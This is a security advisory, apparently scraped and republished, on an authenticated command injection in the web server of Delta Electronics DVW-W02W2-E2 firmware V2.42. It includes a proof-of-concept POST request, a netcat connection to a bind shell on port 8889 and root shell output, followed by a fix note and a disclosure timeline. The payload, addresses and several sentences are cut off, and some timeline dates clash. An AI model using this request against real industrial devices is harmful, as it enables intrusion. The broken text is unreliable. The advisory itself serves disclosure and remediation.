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Delta Electronics DVW-W02W2-E2 2.42 Command Injection ≈ Mobile Hacker For Hire

Table of Contents

CyberDanube Security Research 20221130-1
title| Authenticated Command Injection
product| Delta Electronics DVW-W02W2-E2
vulnerable version| V2.42
fixed version| V2.5.2
CVE number| –
impact| High
found| 2022-08-01
by| T. Weber (Office Vienna)
| CyberDanube Security Research
| Vienna | St. Pölten

Vendor description
“Delta, founded in 1971, is a global provider of power and thermal
solutions. Its mission statement, “To provide innovative, clean and energy
-efficient solutions for a better tomorrow,” focuses on addressing key
environmental issues such as global climate change. As an energy-saving
solutions provider with core competencies in power electronics and
Delta’s business categories include Power Electronics, Automation, and


Vulnerable versions
DVW-W02W2-E2 / V2.42

Vulnerability overview
1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection.
It allows an attacker to gain full access to the underlying operating
system of
the device with all implications. If such a device is acting as key
device in
an industrial network, or controls various critical equipment via serial
more extensive damage in the corresponding network can be done by an

Proof of Concept
1) Authenticated Command Injection
The web server is prone to an authenticated command injection via POST
parameters. This is only possible if the “timestamp” parameter is set
in the URL. The following proof-of-concept shows how to open a port binding
shell on port 8889 with a “utelnetd” listener:
POST /apply.cgi?/MT_ping.htm%20timestamp=$correct-timestamp$ HTTP/1.1
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Connection: close
Cookie: xxid=1973719449
Upgrade-Insecure-Requests: 1


For accessing the device, the command “netcat” can be used:
$ nc 8889

BusyBox v1.4.2 (2016-08-18 22:45:41 EDT) Built-in shell (ash)
Enter ‘help’ for a list of built-in commands.

/ #

The vulnerability was manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (

Update to firmware version V2.5.2.


CyberDanube recommends Delta Electronics customers to upgrade the
firmware to
the latest version available.

Contact Timeline
2022-08-02: Contacting Delta Electronics.
2022-08-10: Vendor requested the advisory without encryption; Sent
advisory to
Delta Electronics.
2022-08-16: Security contact asked few questions regarding responsible
disclosure; Sent answers.
2022-08-30: Asked for an update.
2022-09-01: Vendor responded, that they will need more time to resolve the
issues; Provided additional 30 days (until 2022-11-02) for
2022-10-11: Asked for an update.
2022-10-12: Vendor responded, that fixing will be done 2022-11-15; Shifted
release date to this date.
2022-10-16: Vendor shifted release date again to 2022-11-18. Shifted
release date to the same day.
2022-10-17: Asked for an update regarding the release; No answer.
2022-10-18: Asked for an update and shifted release date to 2022-10-22.
2022-10-19: Vendor responded, that there were problems at releasing the
Contact stated, that the patch will delay until end of
2022-10-21: Asked vendor for a concrete release date; No answer.
2022-10-28: Announced advisory release date for 2022-10-30 to vendor.
2022-10-29: Found firmware patches with issue date 2022-11-25 on vendors
2022-10-30: Vendor confirmed fixes. Coordinated release of security

Mail: research at cyberdanube dot com

EOF T. Weber / @2022

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